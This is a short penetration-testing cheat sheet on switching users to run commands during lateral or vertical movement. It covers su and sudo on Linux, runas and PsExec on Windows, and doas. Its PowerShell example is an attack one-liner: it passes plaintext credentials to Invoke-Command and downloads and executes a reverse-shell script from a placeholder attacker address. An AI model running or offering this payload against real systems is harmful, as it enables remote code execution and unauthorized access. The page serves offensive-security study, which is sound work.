Run Commands AS

Some times we need to do a lateral or vertical movement between the same hosts only switching between local users, and we cant use any type of authenticated service such as SMB or SSH.

Linux

Linux has the easiest way to change between users using the su command.

su user

To change to root user (need to be in sudoer group)

sudo su -

Windows

Cmd

runas command gives us the oportunity in cmd the opportunity to run some commands as other users.

runas /user:username <program>
runas /user:domain\username <program>
runas /user:username@domain <program>

PsExec

PsExec is part of a growing kit of Sysinternals command-line tools that aid in the administration of local and remote systems named PsTools.

psexec.exe /accepteula
psexec.exe [\\COMPUTER] /u USER /p PASS cmd [args]

Powershell

$user='WORKGROUP\User'; 
$pass='passwd';
Invoke-Command -ScriptBlock { iex(New-Object Net.WebClient).DownloadString('http://<IP>:<PORT>/rev_shell.ps1') } -ComputerName BART -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force))

NetBSD

Similar like sudo

su user

Similar like sudoto change to rootuser:

doas -u USER sh

Last updated